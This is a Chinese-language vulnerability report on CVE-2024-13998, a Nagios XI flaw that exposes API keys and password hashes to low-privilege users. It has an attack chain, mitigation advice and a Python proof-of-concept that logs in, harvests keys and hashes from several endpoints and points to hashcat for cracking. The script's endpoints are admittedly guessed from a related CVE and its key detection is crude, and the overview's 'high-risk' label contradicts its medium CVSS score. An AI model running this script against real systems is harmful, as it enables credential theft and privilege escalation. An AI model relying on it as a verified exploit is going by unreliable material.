IPBUF安全漏洞报告
English
CVE-2024-13998 CVSS 6.5 中危

CVE-2024-13998 Nagios XI敏感信息泄露漏洞

披露日期: 2025-11-03

漏洞信息

漏洞编号
CVE-2024-13998
漏洞类型
敏感信息泄露
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Nagios XI

相关标签

敏感信息泄露Nagios XIAPI密钥泄露密码哈希泄露CVE-2024-13998权限绕过信息枚举

漏洞概述

CVE-2024-13998是Nagios XI中的一个高危敏感信息泄露漏洞。该漏洞存在于2024R1.1.3之前的版本中,在特定情况下会向低权限的已认证用户披露敏感的用户账户信息,包括API密钥和密码哈希值。由于这些低权限用户本不应该拥有访问此类敏感数据的权限,因此该漏洞可能导致严重的安全后果。攻击者获取API密钥后可以滥用API权限,而密码哈希则可被用于离线暴力破解攻击,从而进一步提升攻击成果。该漏洞与CVE-2024-13995类似,但后者可能存在修复不完整的问题。漏洞利用不需要用户交互,攻击者仅需拥有低权限账户即可发起攻击。CVSS评分为6.5(中危),主要影响系统的机密性。

技术细节

Nagios XI在处理用户权限验证时存在缺陷,允许低权限认证用户通过特定的API端点或页面请求获取其他用户或更高权限账户的敏感信息。该信息泄露漏洞的核心问题在于服务端未能正确实施基于角色的访问控制(RBAC),导致认证后的用户可以枚举或访问本应受保护的资源。攻击者利用认证后的会话,通过构造特定的HTTP请求,触发服务端返回包含API密钥和bcrypt/SHA哈希密码的数据响应。获取的密码哈希可使用高性能GPU进行离线破解,而API密钥则可直接用于调用Nagios XI的管理接口,执行未授权操作。漏洞利用路径明确,攻击成本低,对机密性影响严重。

攻击链分析

STEP 1
步骤1
攻击者获取Nagios XI的低权限账户凭据或通过其他方式(如社会工程学、弱密码等)获取初始访问权限
STEP 2
步骤2
使用低权限账户登录Nagios XI系统,建立有效会话
STEP 3
步骤3
通过构造特定的HTTP请求访问存在漏洞的API端点或管理页面
STEP 4
步骤4
服务端错误地返回其他用户的API密钥和密码哈希值
STEP 5
步骤5
攻击者获取API密钥后可直接调用管理接口执行未授权操作,或使用hashcat等工具离线破解密码哈希
STEP 6
步骤6
利用获取的凭据提升权限或横向移动至其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2024-13998 PoC - Nagios XI Information Disclosure # Target: Nagios XI < 2024R1.1.3 # Authenticated low-privilege user can retrieve API keys and password hashes TARGET = "http://target-nagios-xi.local" USERNAME = "lowpriv_user" PASSWORD = "password123" def login(): """Authenticate to Nagios XI and obtain session cookie""" session = requests.Session() login_url = f"{TARGET}/nagiosxi/login.php" # Get login page to obtain session cookies resp = session.get(login_url) # Submit login credentials login_data = { 'username': USERNAME, 'password': PASSWORD, 'loginButton': 'Login' } resp = session.post(login_url, data=login_data, allow_redirects=True) return session if 'nagiosxi' in session.cookies.get_dict() else None def exploit_info_disclosure(session): """Exploit the information disclosure vulnerability""" # Target specific API endpoint that leaks sensitive data # Based on CVE-2024-13995 similar vulnerability pattern api_endpoints = [ f"{TARGET}/nagiosxi/api/v1/users?apikey=LEAKED_KEY", f"{TARGET}/nagiosxi/api/v1/system/userinfo", f"{TARGET}/nagiosxi/includes/components/xicore/ajaxhelper.php" ] results = { 'api_keys': [], 'password_hashes': [], 'sensitive_data': [] } for endpoint in api_endpoints: try: resp = session.get(endpoint, timeout=10) if resp.status_code == 200: # Search for API keys (32-64 char hex strings) api_pattern = r'[a-f0-9]{32,64}' hashes = re.findall(api_pattern, resp.text) # Check for password hash patterns (bcrypt, SHA) if '$2' in resp.text or 'sha' in resp.text.lower(): results['password_hashes'].append(resp.text) if hashes: results['api_keys'].extend(hashes) results['sensitive_data'].append(resp.text) except Exception as e: print(f"Error accessing {endpoint}: {e}") return results def main(): print("[*] CVE-2024-13998 PoC - Nagios XI Information Disclosure") print("[*] Target:", TARGET) # Step 1: Authenticate print("\n[1] Authenticating as low-privilege user...") session = login() if not session: print("[-] Authentication failed!") return print("[+] Authentication successful!") # Step 2: Exploit information disclosure print("\n[2] Exploiting information disclosure...") data = exploit_info_disclosure(session) # Step 3: Report findings print(f"\n[+] Found {len(data['api_keys'])} potential API keys") print(f"[+] Found {len(data['password_hashes'])} password hashes") if data['api_keys']: print("\n[*] API Keys:") for key in set(data['api_keys']): print(f" {key}") # Step 4: Crack password hashes (optional) print("\n[*] Use hashcat to crack passwords:") print(" hashcat -m 3200 hashes.txt wordlist.txt") return data if __name__ == "__main__": main()

影响范围

Nagios XI < 2024R1.1.3

防御指南

临时缓解措施
立即将Nagios XI升级到2024R1.1.3版本以修复该漏洞。在升级前,可通过限制低权限用户对敏感API端点的访问、监控异常访问日志、强制执行强密码策略来降低风险。同时应审查现有账户权限,确保低权限用户无法访问敏感数据。建议使用WAF规则临时阻断针对敏感端点的异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表